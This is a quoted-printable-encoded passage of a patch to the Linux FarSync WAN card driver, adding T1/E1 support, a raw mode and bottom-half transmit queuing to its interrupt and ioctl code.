{=0A= + return;=0A= + }=0A= +=0A= + /* Scehdule the bottom half of the ISR */=0A= + fst_q_work_item(&fst_work_intq, card->card_no);=0A= + queue_task(&fst_int_task, &tq_immediate); =0A= + mark_bh(IMMEDIATE_BH); /* Note that this call must follow =0A= + queue_task */=0A= + =0A= /* Drain the event queue */=0A= - rdidx =3D FST_RDB ( card, interruptEvent.rdindex );=0A= - wridx =3D FST_RDB ( card, interruptEvent.wrindex );=0A= + rdidx =3D FST_RDB ( card, interruptEvent.rdindex ) & 0x1f;=0A= + wridx =3D FST_RDB ( card, interruptEvent.wrindex ) & 0x1f;=0A= while ( rdidx !=3D wridx )=0A= - {=0A= - event =3D FST_RDB ( card, = interruptEvent.evntbuff[rdidx]);=0A= -=0A= - port =3D &card->ports[event & 0x03];=0A= -=0A= - dbg ( DBG_INTR,"intr: %x\n", event );=0A= -=0A= + {=0A= + event =3D FST_RDB ( card, interruptEvent.evntbuff[rdidx]);=0A= + port =3D &card->ports[event & 0x03];=0A= + =0A= + dbg ( DBG_INTR,"Processing Interrupt event: %x\n", = event );=0A= + =0A= switch ( event )=0A= - {=0A= - case CTLA_CHG:=0A= - case CTLB_CHG:=0A= - case CTLC_CHG:=0A= - case CTLD_CHG:=0A= - if ( port->run )=0A= - fst_intr_ctlchg ( card, port );=0A= - break;=0A= -=0A= - case ABTA_SENT:=0A= - case ABTB_SENT:=0A= - case ABTC_SENT:=0A= - case ABTD_SENT:=0A= - dbg ( DBG_TX,"Abort complete port %d\n", event = & 0x03 );=0A= - break;=0A= -=0A= - case TXA_UNDF:=0A= - case TXB_UNDF:=0A= - case TXC_UNDF:=0A= - case TXD_UNDF:=0A= - /* Difficult to see how we'd get this given = that we=0A= - * always load up the entire packet for = DMA.=0A= - */=0A= - dbg ( DBG_TX,"Tx underflow port %d\n", event & = 0x03 );=0A= - port->hdlc.stats.tx_errors++;=0A= - port->hdlc.stats.tx_fifo_errors++;=0A= - break;=0A= -=0A= - case INIT_CPLT:=0A= - dbg ( DBG_INIT,"Card init OK intr\n");=0A= - break;=0A= -=0A= - case INIT_FAIL:=0A= - dbg ( DBG_INIT,"Card init FAILED intr\n");=0A= - card->state =3D FST_IFAILED;=0A= - break;=0A= -=0A= - default:=0A= - printk_err ("intr: unknown card event code. = ignored\n");=0A= - break;=0A= + {=0A= + case TE1_ALMA:=0A= + dbg ( DBG_INTR,"TE1 Alarm intr\n");=0A= + if ( port->run )=0A= + fst_intr_te1_alarm (card, port);=0A= + break;=0A= + =0A= + case CTLA_CHG:=0A= + case CTLB_CHG:=0A= + case CTLC_CHG:=0A= + case CTLD_CHG:=0A= + if ( port->run )=0A= + fst_intr_ctlchg ( card, port );=0A= + break;=0A= + =0A= + case ABTA_SENT:=0A= + case ABTB_SENT:=0A= + case ABTC_SENT:=0A= + case ABTD_SENT:=0A= + dbg (DBG_TX,"Abort complete port %d\n", port->index );=0A= + break;=0A= + =0A= + case TXA_UNDF:=0A= + case TXB_UNDF:=0A= + case TXC_UNDF:=0A= + case TXD_UNDF:=0A= + /* Difficult to see how we'd get this given that we=0A= + * always load up the entire packet for DMA.=0A= + */=0A= + dbg (DBG_TX,"Tx underflow port %d\n", port->index );=0A= + =0A= + port->hdlc.stats.tx_errors++;=0A= + port->hdlc.stats.tx_fifo_errors++;=0A= + dbg(DBG_ASS, "Tx underflow on card %d port %d\n",=0A= + card->card_no, port->index);=0A= + break;=0A= +=0A= + case INIT_CPLT:=0A= + dbg ( DBG_INIT,"Card init OK intr\n");=0A= + break;=0A= + =0A= + case INIT_FAIL:=0A= + dbg ( DBG_INIT,"Card init FAILED intr\n");=0A= + card->state =3D FST_IFAILED;=0A= + break;=0A= + =0A= + default:=0A= + printk_err ("intr: unknown card event %d. ignored\n",=0A= + event);=0A= + break;=0A= }=0A= -=0A= + =0A= /* Bump and wrap the index */=0A= if ( ++rdidx >=3D MAX_CIRBUFF )=0A= - rdidx =3D 0;=0A= - }=0A= + rdidx =3D 0;=0A= + }=0A= FST_WRB ( card, interruptEvent.rdindex, rdidx );=0A= -=0A= - for ( pi =3D 0, port =3D card->ports ; pi < card->nports ; = pi++, port++ )=0A= - {=0A= - if ( ! port->run )=0A= - continue;=0A= -=0A= - /* Check for rx completions */=0A= - while ( ! ( FST_RDB ( card, = rxDescrRing[pi][port->rxpos].bits )=0A= - & = DMA_OWN ))=0A= - {=0A= - fst_intr_rx ( card, port );=0A= - }=0A= -=0A= - /* Check for Tx completions */=0A= - while ( port->txcnt > 0 && ! ( FST_RDB ( card,=0A= - txDescrRing[pi][port->txipos].bits ) & DMA_OWN = ))=0A= - {=0A= - --port->txcnt;=0A= - if ( ++port->txipos >=3D NUM_TX_BUFFER )=0A= - port->txipos =3D 0;=0A= - netif_wake_queue ( port_to_dev ( port ));=0A= - }=0A= - }=0A= -=0A= - spin_unlock ( &card->card_lock );=0A= }=0A= =0A= =0A= @@ -934,9 +1812,9 @@=0A= */=0A= if ( FST_RDL ( card, numberOfPorts ) !=3D card->nports )=0A= {=0A= - printk_warn ("Port count mismatch."=0A= - " Firmware thinks %d we say %d\n",=0A= - FST_RDL ( card, numberOfPorts ), = card->nports );=0A= + printk_warn ("Port count mismatch on card %d."=0A= + " Firmware thinks %d we say %d\n", = card->card_no,=0A= + FST_RDL ( card, numberOfPorts ), = card->nports );=0A= }=0A= }=0A= =0A= @@ -946,24 +1824,89 @@=0A= struct fstioc_info *info )=0A= {=0A= int err;=0A= + unsigned char my_framing;=0A= =0A= - /* Set things according to the user set valid flags.=0A= - * Several of the old options have been invalidated/replaced = by the=0A= - * generic HDLC package.=0A= - */=0A= + /* Set things according to the user set valid flags =0A= + * Several of the old options have been invalidated/replaced by the = =0A= + * generic hdlc package.=0A= + */=0A= err =3D 0;=0A= if ( info->valid & FSTVAL_PROTO )=0A= - err =3D -EINVAL;=0A= + {=0A= + if (info->proto =3D=3D FST_RAW)=0A= + port->mode =3D FST_RAW;=0A= + else=0A= + port->mode =3D FST_GEN_HDLC;=0A= + }=0A= +=0A= if ( info->valid & FSTVAL_CABLE )=0A= - err =3D -EINVAL;=0A= + err =3D -EINVAL;=0A= +=0A= if ( info->valid & FSTVAL_SPEED )=0A= - err =3D -EINVAL;=0A= + err =3D -EINVAL;=0A= =0A= + if ( info->valid & FSTVAL_PHASE )=0A= + FST_WRB ( card, = portConfig[port->index].invertClock,=0A= + info->invertClock );=0A= if ( info->valid & FSTVAL_MODE )=0A= FST_WRW ( card, cardMode, info->cardMode );=0A= + if ( info->valid & FSTVAL_TE1 )=0A= + {=0A= + FST_WRL ( card, suConfig.dataRate, info->lineSpeed = );=0A= + FST_WRB ( card, suConfig.clocking, info->clockSource = );=0A= + my_framing =3D FRAMING_E1;=0A= + if (info->framing =3D=3D E1)=0A= + my_framing =3D FRAMING_E1;=0A= + if (info->framing =3D=3D T1)=0A= + my_framing =3D FRAMING_T1;=0A= + if (info->framing =3D=3D J1)=0A= + my_framing =3D FRAMING_J1;=0A= + FST_WRB ( card, suConfig.framing, my_framing );=0A= + FST_WRB ( card, suConfig.structure, info->structure = );=0A= + FST_WRB ( card, suConfig.interface, info->interface = );=0A= + FST_WRB ( card, suConfig.coding, info->coding );=0A= + FST_WRB ( card, suConfig.lineBuildOut, = info->lineBuildOut );=0A= + FST_WRB ( card, suConfig.equalizer, info->equalizer = );=0A= + FST_WRB ( card, suConfig.transparentMode, = info->transparentMode );=0A= + FST_WRB ( card, suConfig.loopMode, info->loopMode = );=0A= + FST_WRB ( card, suConfig.range, info->range );=0A= + FST_WRB ( card, suConfig.txBufferMode, = info->txBufferMode );=0A= + FST_WRB ( card, suConfig.rxBufferMode, = info->rxBufferMode );=0A= + FST_WRB ( card, suConfig.startingSlot, = info->startingSlot );=0A= + FST_WRB ( card, suConfig.losThreshold, = info->losThreshold );=0A= + if (info->idleCode)=0A= + FST_WRB ( card, suConfig.enableIdleCode, 1 );=0A= + else=0A= + FST_WRB ( card, suConfig.enableIdleCode, 0 );=0A= + FST_WRB ( card, suConfig.idleCode, info->idleCode );=0A= +#if FST_DEBUG=0A= + if ( info->valid & FSTVAL_TE1 )=0A= + {=0A= + printk("Setting TE1 data\n");=0A= + printk("Line Speed =3D %d\n", info->lineSpeed);=0A= + printk("Start slot =3D %d\n", = info->startingSlot);=0A= + printk("Clock source =3D %d\n", = info->clockSource);=0A= + printk("Framing =3D %d\n", my_framing);=0A= + printk("Structure =3D %d\n", info->structure);=0A= + printk("interface =3D %d\n", info->interface);=0A= + printk("Coding =3D %d\n", info->coding);=0A= + printk("Line build out =3D %d\n", = info->lineBuildOut);=0A= + printk("Equaliser =3D %d\n", info->equalizer);=0A= + printk("Transparent mode =3D %d\n", = info->transparentMode);=0A= + printk("Loop mode =3D %d\n", info->loopMode);=0A= + printk("Range =3D %d\n", info->range);=0A= + printk("Tx Buffer mode =3D %d\n", = info->txBufferMode);=0A= + printk("Rx Buffer mode =3D %d\n", = info->rxBufferMode);=0A= + printk("LOS Threshold =3D %d\n", = info->losThreshold);=0A= + printk("Idle Code =3D %d\n", info->idleCode);=0A= + }=0A= +#endif=0A= + }=0A= #if FST_DEBUG=0A= if ( info->valid & FSTVAL_DEBUG )=0A= + {=0A= fst_debug_mask =3D info->debug;=0A= + }=0A= #endif=0A= =0A= return err;=0A= @@ -978,6 +1921,7 @@=0A= memset ( info, 0, sizeof ( struct fstioc_info ));=0A= =0A= i =3D port->index;=0A= + info->kernelVersion =3D LINUX_VERSION_CODE;=0A= info->nports =3D card->nports;=0A= info->type =3D card->type;=0A= info->state =3D card->state;=0A= @@ -1000,12 +1944,69 @@=0A= info->lineInterface =3D FST_RDW ( card, = portConfig[i].lineInterface );=0A= info->internalClock =3D FST_RDB ( card, = portConfig[i].internalClock );=0A= info->lineSpeed =3D FST_RDL ( card, = portConfig[i].lineSpeed );=0A= + info->invertClock =3D FST_RDB ( card, portConfig[i].invertClock = );=0A= info->v24IpSts =3D FST_RDL ( card, v24IpSts[i] );=0A= info->v24OpSts =3D FST_RDL ( card, v24OpSts[i] );=0A= info->clockStatus =3D FST_RDW ( card, clockStatus[i] );=0A= info->cableStatus =3D FST_RDW ( card, cableStatus );=0A= info->cardMode =3D FST_RDW ( card, cardMode );=0A= info->smcFirmwareVersion =3D FST_RDL ( card, = smcFirmwareVersion );=0A= +=0A= + /*=0A= + * The T2U can report cable presence for both A or B=0A= + * in bits 0 and 1 of cableStatus. See which port we are and =0A= + * do the mapping.=0A= + */=0A= + if (card->family =3D=3D FST_FAMILY_TXU)=0A= + {=0A= + if (port->index =3D=3D 0)=0A= + {=0A= + /*=0A= + * Port A=0A= + */=0A= + info->cableStatus =3D info->cableStatus & 1;=0A= + }=0A= + else=0A= + {=0A= + /*=0A= + * Port B=0A= + */=0A= + info->cableStatus =3D info->cableStatus >> 1;=0A= + info->cableStatus =3D info->cableStatus & 1;=0A= + }=0A= + }=0A= + /*=0A= + * Some additional bits if we are TE1=0A= + */=0A= + if (card->type =3D=3D FST_TYPE_TE1)=0A= + {=0A= + info->lineSpeed =3D FST_RDL ( card, suConfig.dataRate = );=0A= + info->clockSource =3D FST_RDB ( card, suConfig.clocking = );=0A= + info->framing =3D FST_RDB ( card, suConfig.framing );=0A= + info->structure =3D FST_RDB ( card, suConfig.structure = );=0A= + info->interface =3D FST_RDB ( card, suConfig.interface = );=0A= + info->coding =3D FST_RDB ( card, suConfig.coding );=0A= + info->lineBuildOut =3D FST_RDB ( card, = suConfig.lineBuildOut );=0A= + info->equalizer =3D FST_RDB ( card, suConfig.equalizer = );=0A= + info->loopMode =3D FST_RDB ( card, suConfig.loopMode ); = =0A= + info->range =3D FST_RDB ( card, suConfig.range ); =0A= + info->txBufferMode =3D FST_RDB ( card, = suConfig.txBufferMode ); =0A= + info->rxBufferMode =3D FST_RDB ( card, = suConfig.rxBufferMode ); =0A= + info->startingSlot =3D FST_RDB ( card, = suConfig.startingSlot ); =0A= + info->losThreshold =3D FST_RDB ( card, = suConfig.losThreshold );=0A= + if (FST_RDB (card, suConfig.enableIdleCode ))=0A= + info->idleCode =3D FST_RDB ( card, suConfig.idleCode );=0A= + else=0A= + info->idleCode =3D 0 ; =0A= + info->receiveBufferDelay =3D FST_RDL ( card, = suStatus.receiveBufferDelay );=0A= + info->framingErrorCount =3D FST_RDL ( card, = suStatus.framingErrorCount ); =0A= + info->codeViolationCount =3D FST_RDL ( card, = suStatus.codeViolationCount ); =0A= + info->crcErrorCount =3D FST_RDL ( card, = suStatus.crcErrorCount );=0A= + info->lineAttenuation =3D FST_RDL ( card, = suStatus.lineAttenuation );=0A= + info->lossOfSignal =3D FST_RDB ( card, = suStatus.lossOfSignal );=0A= + info->receiveRemoteAlarm =3D FST_RDB ( card, = suStatus.receiveRemoteAlarm );=0A= + info->alarmIndicationSignal =3D FST_RDB ( card, = suStatus.alarmIndicationSignal );=0A= + }=0A= }=0A= =0A= =0A= @@ -1016,16 +2017,22 @@=0A= sync_serial_settings sync;=0A= int i;=0A= =0A= - if (copy_from_user (&sync, ifr->ifr_settings.ifs_ifsu.sync,=0A= - sizeof (sync)))=0A= + if ( ifr->ifr_settings.size !=3D sizeof ( sync ))=0A= + {=0A= + return -ENOMEM;=0A= + }=0A= +=0A= + if ( copy_from_user ( &sync, ifr->ifr_settings.ifs_ifsu.sync, = sizeof ( sync )))=0A= + {=0A= return -EFAULT;=0A= + }=0A= =0A= if ( sync.loopback )=0A= return -EINVAL;=0A= =0A= i =3D port->index;=0A= =0A= - switch (ifr->ifr_settings.type)=0A= + switch ( ifr->ifr_settings.type )=0A= {=0A= case IF_IFACE_V35:=0A= FST_WRW ( card, portConfig[i].lineInterface, V35 );=0A= @@ -1042,6 +2049,21 @@=0A= port->hwif =3D X21;=0A= break;=0A= =0A= + case IF_IFACE_X21D:=0A= + FST_WRW ( card, portConfig[i].lineInterface, X21D = );=0A= + port->hwif =3D X21D;=0A= + break;=0A= +=0A= + case IF_IFACE_T1:=0A= + FST_WRW ( card, portConfig[i].lineInterface, T1 );=0A= + port->hwif =3D T1;=0A= + break;=0A= +=0A= + case IF_IFACE_E1:=0A= + FST_WRW ( card, portConfig[i].lineInterface, E1 );=0A= + port->hwif =3D E1;=0A= + break;=0A= +=0A= case IF_IFACE_SYNC_SERIAL:=0A= break;=0A= =0A= @@ -1079,33 +2101,48 @@=0A= */=0A= switch ( port->hwif )=0A= {=0A= + case E1:=0A= + ifr->ifr_settings.type =3D IF_IFACE_E1;=0A= + break;=0A= + case T1:=0A= + ifr->ifr_settings.type =3D IF_IFACE_T1;=0A= + break;=0A= case V35:=0A= ifr->ifr_settings.type =3D IF_IFACE_V35;=0A= break;=0A= case V24:=0A= ifr->ifr_settings.type =3D IF_IFACE_V24;=0A= break;=0A= + case X21D:=0A= + ifr->ifr_settings.type =3D IF_IFACE_X21D;=0A= + break;=0A= case X21:=0A= default:=0A= ifr->ifr_settings.type =3D IF_IFACE_X21;=0A= break;=0A= }=0A= -=0A= - if (ifr->ifr_settings.size < sizeof(sync)) {=0A= - ifr->ifr_settings.size =3D sizeof(sync); /* data size wanted */=0A= - return -ENOBUFS;=0A= - }=0A= + if ( ifr->ifr_settings.size =3D=3D 0 )=0A= + {=0A= + return 0; /* only type requested */=0A= + }=0A= + if ( ifr->ifr_settings.size < sizeof ( sync ))=0A= + {=0A= + return -ENOMEM;=0A= + }=0A= =0A= i =3D port->index;=0A= sync.clock_rate =3D FST_RDL ( card, portConfig[i].lineSpeed = );=0A= /* Lucky card and linux use same encoding here */=0A= - sync.clock_type =3D FST_RDB ( card, = portConfig[i].internalClock );=0A= + sync.clock_type =3D FST_RDB ( card, = portConfig[i].internalClock ) =3D=3D=0A= + INTCLK ? CLOCK_INT : CLOCK_EXT;=0A= sync.loopback =3D 0;=0A= =0A= - if (copy_to_user (ifr->ifr_settings.ifs_ifsu.sync, &sync,=0A= - sizeof(sync)))=0A= + if ( copy_to_user ( ifr->ifr_settings.ifs_ifsu.sync, &sync, = sizeof ( sync )))=0A= + {=0A= return -EFAULT;=0A= + }=0A= =0A= + ifr->ifr_settings.size =3D sizeof ( sync );=0A= return 0;=0A= }=0A= =0A= @@ -1196,7 +2233,7 @@=0A= if ( card->state =3D=3D FST_RUNNING )=0A= {=0A= spin_lock_irqsave ( &card->card_lock, = flags );=0A= - fst_clear_intr ( card );=0A= + fst_enable_intr ( card );=0A= FST_WRB ( card, interruptHandshake, = 0xEE );=0A= spin_unlock_irqrestore ( = &card->card_lock,=0A= flags = );=0A= @@ -1218,9 +2255,16 @@=0A= =0A= case FSTSETCONF:=0A= =0A= - /* Most of the setting have been moved to the generic = ioctls=0A= - * this just covers debug and board ident mode now=0A= - */=0A= + /*=0A= + * Most of the settings have been moved to the generic ioctls=0A= + * this just covers debug and board ident now=0A= + */=0A= +=0A= + if(card->state !=3D FST_RUNNING)=0A= + {=0A= + printk_err("Attempt to configure card %d in non-running state = (%d)\n", card->card_no, card->state);=0A= + return -EIO;=0A= + }=0A= if ( copy_from_user ( &info, ifr->ifr_data, sizeof ( = info )))=0A= {=0A= return -EFAULT;=0A= @@ -1229,7 +2273,7 @@=0A= return set_conf_from_info ( card, port, &info );=0A= =0A= case SIOCWANDEV:=0A= - switch (ifr->ifr_settings.type)=0A= + switch ( ifr->ifr_settings.type )=0A= {=0A= case IF_GET_IFACE:=0A= return fst_get_iface ( card, port, ifr );=0A= @@ -1238,10 +2282,28 @@=0A= case IF_IFACE_V35:=0A= case IF_IFACE_V24:=0A= case IF_IFACE_X21:=0A= + case IF_IFACE_X21D:=0A= + case IF_IFACE_T1:=0A= + case IF_IFACE_E1:=0A= return fst_set_iface ( card, port, ifr );=0A= =0A= + case IF_PROTO_RAW:=0A= + port->mode =3D FST_RAW;=0A= + return 0;=0A= +=0A= + case IF_GET_PROTO:=0A= + if (port->mode =3D=3D FST_RAW)=0A= + {=0A= + ifr->ifr_settings.type =3D IF_PROTO_RAW;=0A= + return 0;=0A= + }=0A= + return hdlc_ioctl ( dev, ifr, cmd );=0A= +=0A= default:=0A= - return hdlc_ioctl ( dev, ifr, cmd );=0A= + port->mode =3D FST_GEN_HDLC;=0A= + dbg(DBG_IOCTL, "Passing this type to hdlc %x\n",=0A= + ifr->ifr_settings.type);=0A= + return hdlc_ioctl ( dev, ifr, cmd );=0A= }=0A= =0A= default:=0A= @@ -1255,6 +2317,7 @@=0A= fst_openport ( struct fst_port_info *port )=0A= {=0A= int signals;=0A= + int txq_length;=0A= =0A= /* Only init things if card is actually running. This allows = open to=0A= * succeed for downloads etc.=0A= @@ -1277,12 +2340,17 @@=0A= port->run =3D 1;=0A= =0A= signals =3D FST_RDL ( port->card, = v24DebouncedSts[port->index]);=0A= - if ( signals & (( port->hwif =3D=3D X21 ) ? = IPSTS_INDICATE=0A= - : IPSTS_DCD = ))=0A= - netif_carrier_on ( port_to_dev ( port ));=0A= + if ( signals & (((port->hwif =3D=3D X21) || = (port->hwif =3D=3D X21D))=0A= + ? IPSTS_INDICATE : IPSTS_DCD ))=0A= + netif_carrier_on ( port_to_dev(port) );=0A= else=0A= - netif_carrier_off ( port_to_dev ( port ));=0A= + netif_carrier_off ( port_to_dev(port) );=0A= +=0A= + txq_length =3D port->txqe - port->txqs;=0A= + port->txqe =3D 0;=0A= + port->txqs =3D 0;=0A= }=0A= +=0A= }=0A= =0A= static void=0A= @@ -1309,14 +2377,18 @@=0A= fst_open ( struct net_device *dev )=0A= {=0A= int err;=0A= + struct fst_port_info *port;=0A= =0A= - err =3D hdlc_open ( dev_to_hdlc ( dev ));=0A= - if ( err )=0A= - return err;=0A= -=0A= + port =3D dev_to_port(dev);=0A= MOD_INC_USE_COUNT;=0A= + if (port->mode !=3D FST_RAW)=0A= + {=0A= + err =3D hdlc_open ( dev_to_hdlc ( dev ));=0A= + if ( err )=0A= + return err;=0A= + }=0A= =0A= - fst_openport ( dev_to_port ( dev ));=0A= + fst_openport ( port );=0A= netif_wake_queue ( dev );=0A= return 0;=0A= }=0A= @@ -1324,40 +2396,59 @@=0A= static int=0A= fst_close ( struct net_device *dev )=0A= {=0A= - netif_stop_queue ( dev );=0A= - fst_closeport ( dev_to_port ( dev ));=0A= - hdlc_close ( dev_to_hdlc ( dev ));=0A= + struct fst_port_info *port;=0A= + struct fst_card_info *card;=0A= + unsigned char tx_dma_done;=0A= + unsigned char rx_dma_done;=0A= +=0A= + port =3D dev_to_port(dev);=0A= + card =3D port->card;=0A= +=0A= + tx_dma_done =3D inb ( card->pci_conf + DMACSR1 );=0A= + rx_dma_done =3D inb ( card->pci_conf + DMACSR0 );=0A= + dbg(DBG_OPEN, "Port Close: tx_dma_in_progress =3D %d (%x) = rx_dma_in_progress =3D %d (%x)\n",=0A= + card->dmatx_in_progress, tx_dma_done, =0A= + card->dmarx_in_progress, rx_dma_done);=0A= +=0A= + netif_stop_queue ( dev );=0A= + fst_closeport ( dev_to_port (dev) );=0A= + if (port->mode !=3D FST_RAW)=0A= + {=0A= + hdlc_close ( dev_to_hdlc ( dev ));=0A= + }=0A= MOD_DEC_USE_COUNT;=0A= return 0;=0A= }=0A= =0A= static int=0A= -fst_attach ( hdlc_device *hdlc, unsigned short encoding, unsigned = short parity )=0A= +fst_attach ( hdlc_device *hdlc, unsigned short encoding, unsigned = short parity)=0A= {=0A= - /* Setting currently fixed in FarSync card so we check and = forget */=0A= - if ( encoding !=3D ENCODING_NRZ || parity !=3D = PARITY_CRC16_PR1_CCITT )=0A= - return -EINVAL;=0A= - return 0;=0A= + /*=0A= + * Setting currently fixed in FarSync card so we check and forget=0A= + */=0A= + if ( encoding !=3D ENCODING_NRZ || parity !=3D PARITY_CRC16_PR1_CCITT = )=0A= + return -EINVAL;=0A= + return 0;=0A= }=0A= =0A= -=0A= static void=0A= fst_tx_timeout ( struct net_device *dev )=0A= {=0A= struct fst_port_info *port;=0A= + struct fst_card_info *card;=0A= =0A= - dbg ( DBG_INTR | DBG_TX,"tx_timeout\n");=0A= -=0A= - port =3D dev_to_port ( dev );=0A= + port =3D dev_to_port (dev);=0A= + card =3D port->card;=0A= =0A= port->hdlc.stats.tx_errors++;=0A= port->hdlc.stats.tx_aborted_errors++;=0A= -=0A= - if ( port->txcnt > 0 )=0A= - fst_issue_cmd ( port, ABORTTX );=0A= + dbg(DBG_ASS, "Tx timeout card %d port %d\n", =0A= + card->card_no, port->index);=0A= + fst_issue_cmd ( port, ABORTTX );=0A= =0A= dev->trans_start =3D jiffies;=0A= netif_wake_queue ( dev );=0A= + port->start =3D 0;=0A= }=0A= =0A= =0A= @@ -1366,13 +2457,12 @@=0A= {=0A= struct fst_card_info *card;=0A= struct fst_port_info *port;=0A= - unsigned char dmabits;=0A= unsigned long flags;=0A= - int pi;=0A= - int txp;=0A= + int txq_length;=0A= =0A= port =3D dev_to_port ( dev );=0A= card =3D port->card;=0A= + dbg(DBG_TX,"fst_start_xmit: length =3D %d\n", skb->len);=0A= =0A= /* Drop packet with error if we don't have carrier */=0A= if ( ! netif_carrier_ok ( dev ))=0A= @@ -1380,56 +2470,74 @@=0A= dev_kfree_skb ( skb );=0A= port->hdlc.stats.tx_errors++;=0A= port->hdlc.stats.tx_carrier_errors++;=0A= + dbg(DBG_ASS, "Tried to transmit but no carrier on card %d port = %d\n",=0A= + card->card_no, port->index);=0A= return 0;=0A= }=0A= =0A= /* Drop it if it's too big! MTU failure ? */=0A= if ( skb->len > LEN_TX_BUFFER )=0A= {=0A= - dbg ( DBG_TX,"Packet too large %d vs %d\n", = skb->len,=0A= + dbg ( DBG_ASS,"Packet too large %d vs %d\n", = skb->len,=0A= LEN_TX_BUFFER );=0A= dev_kfree_skb ( skb );=0A= port->hdlc.stats.tx_errors++;=0A= return 0;=0A= }=0A= =0A= - /* Check we have a buffer */=0A= - pi =3D port->index;=0A= + /*=0A= + * We are always going to queue the packet=0A= + * so that the bottom half is the only place we tx from=0A= + * Check there is room in the port txq=0A= + */=0A= spin_lock_irqsave ( &card->card_lock, flags );=0A= - txp =3D port->txpos;=0A= - dmabits =3D FST_RDB ( card, txDescrRing[pi][txp].bits );=0A= - if ( dmabits & DMA_OWN )=0A= - {=0A= - spin_unlock_irqrestore ( &card->card_lock, flags );=0A= - dbg ( DBG_TX,"Out of Tx buffers\n");=0A= - dev_kfree_skb ( skb );=0A= - port->hdlc.stats.tx_errors++;=0A= - return 0;=0A= - }=0A= - if ( ++port->txpos >=3D NUM_TX_BUFFER )=0A= - port->txpos =3D 0;=0A= -=0A= - if ( ++port->txcnt >=3D NUM_TX_BUFFER )=0A= - netif_stop_queue ( dev );=0A= -=0A= - /* Release the card lock before we copy the data as we now = have=0A= - * exclusive access to the buffer.=0A= - */=0A= - spin_unlock_irqrestore ( &card->card_lock, flags );=0A= -=0A= - /* Enqueue the packet */=0A= - memcpy_toio ( card->mem + BUF_OFFSET ( = txBuffer[pi][txp][0]),=0A= - skb->data, skb->len = );=0A= - FST_WRW ( card, txDescrRing[pi][txp].bcnt, cnv_bcnt ( skb->len = ));=0A= - FST_WRB ( card, txDescrRing[pi][txp].bits, DMA_OWN | TX_STP | = TX_ENP );=0A= -=0A= - port->hdlc.stats.tx_packets++;=0A= - port->hdlc.stats.tx_bytes +=3D skb->len;=0A= -=0A= - dev_kfree_skb ( skb );=0A= + if ((txq_length =3D port->txqe - port->txqs) < 0)=0A= + {=0A= + /*=0A= + * This is the case where the next free has wrapped but the=0A= + * last used hasn't=0A= + */=0A= + txq_length =3D txq_length + FST_TXQ_DEPTH;=0A= + }=0A= + spin_unlock_irqrestore ( &card->card_lock, flags );=0A= + if (txq_length > fst_txq_high)=0A= + {=0A= + /*=0A= + * We have got enough buffers in the pipeline. Ask the = network=0A= + * layer to stop sending frames down=0A= + */=0A= + netif_stop_queue ( dev );=0A= + port->start =3D 1; /* I'm using this to signal stop sent up = */=0A= + }=0A= +=0A= + if (txq_length =3D=3D FST_TXQ_DEPTH - 1)=0A= + {=0A= + /*=0A= + * This shouldn't have happened but such is life=0A= + */=0A= + dev_kfree_skb ( skb );=0A= + port->hdlc.stats.tx_errors++;=0A= + dbg(DBG_ASS, "Tx queue overflow card %d port %d\n",=0A= + card->card_no, port->index);=0A= + return 0;=0A= + }=0A= +=0A= + /*=0A= + * queue the buffer=0A= + */=0A= + spin_lock_irqsave ( &card->card_lock, flags );=0A= + port->txq[port->txqe] =3D skb;=0A= + port->txqe++;=0A= + if (port->txqe =3D=3D FST_TXQ_DEPTH)=0A= + port->txqe =3D 0;=0A= + spin_unlock_irqrestore ( &card->card_lock, flags );=0A= + =0A= + /* Scehdule the bottom half which now does transmit processing */=0A= + fst_q_work_item(&fst_work_txq, card->card_no);=0A= + queue_task(&fst_tx_task, &tq_immediate); =0A= + mark_bh(IMMEDIATE_BH); /* Note that this call must follow queue_task = */=0A= =0A= - dev->trans_start =3D jiffies;=0A= - return 0;=0A= + return 0;=0A= }=0A= =0A= =0A= @@ -1443,7 +2551,11 @@=0A= static char *type_strings[] __devinitdata =3D {=0A= "no hardware", /* Should never be seen */=0A= "FarSync T2P",=0A= - "FarSync T4P"=0A= + "FarSync T4P",=0A= + "FarSync T1U",=0A= + "FarSync T2U",=0A= + "FarSync T4U",=0A= + "FarSync TE1"=0A= };=0A= =0A= static void __devinit=0A= @@ -1462,22 +2574,19 @@=0A= card->ports[i].card =3D card;=0A= card->ports[i].index =3D i;=0A= card->ports[i].run =3D 0;=0A= + card->ports[i].mode =3D FST_GEN_HDLC;=0A= =0A= dev =3D hdlc_to_dev ( &card->ports[i].hdlc );=0A= =0A= - /* Fill in the net device info */=0A= - /* Since this is a PCI setup this is = purely=0A= - * informational. Give them the buffer = addresses=0A= - * and basic card I/O.=0A= - */=0A= + /* Fill in the net device info =0A= + * Since this is a PCI setup this is purely=0A= + * informational. Give them the buffer addresses=0A= + * and basic card I/O.=0A= + */=0A= dev->mem_start =3D card->phys_mem=0A= + BUF_OFFSET ( txBuffer[i][0][0]);=0A= dev->mem_end =3D card->phys_mem=0A= + BUF_OFFSET ( = txBuffer[i][NUM_TX_BUFFER][0]);=0A= - dev->rmem_start =3D card->phys_mem=0A= - + BUF_OFFSET ( rxBuffer[i][0][0]);=0A= - dev->rmem_end =3D card->phys_mem=0A= - + BUF_OFFSET ( = rxBuffer[i][NUM_RX_BUFFER][0]);=0A= dev->base_addr =3D card->pci_conf;=0A= dev->irq =3D card->irq;=0A= =0A= @@ -1505,6 +2614,29 @@=0A= hdlc_to_dev(&card->ports[0].hdlc)->name,=0A= = hdlc_to_dev(&card->ports[card->nports-1].hdlc)->name,=0A= type_strings[card->type], card->irq, = card->nports );=0A= +=0A= + if (card->family =3D=3D FST_FAMILY_TXU)=0A= + {=0A= + /*=0A= + * Allocate a dma buffer for transmit and receives=0A= + */=0A= + card->rx_dma_handle_host =3D =0A= + pci_alloc_consistent(card->device, FST_MAX_MTU, =0A= + &card->rx_dma_handle_card);=0A= + if (card->rx_dma_handle_host =3D=3D NULL)=0A= + {=0A= + printk_err("Could not allocate rx dma buffer\n");=0A= + return;=0A= + }=0A= + card->tx_dma_handle_host =3D =0A= + pci_alloc_consistent(card->device, FST_MAX_MTU,=0A= + &card->tx_dma_handle_card);=0A= + if (card->tx_dma_handle_host =3D=3D NULL)=0A= + {=0A= + printk_err("Could not allocate tx dma buffer\n");=0A= + return;=0A= + }=0A= + }=0A= }=0A= =0A= =0A= @@ -1516,16 +2648,39 @@=0A= fst_add_one ( struct pci_dev *pdev, const struct pci_device_id *ent = )=0A= {=0A= static int firsttime_done =3D 0;=0A= + static int no_of_cards_added =3D 0;=0A= struct fst_card_info *card;=0A= int err =3D 0;=0A= + int i;=0A= =0A= if ( ! firsttime_done )=0A= {=0A= printk ( KERN_INFO "FarSync X21 driver " = 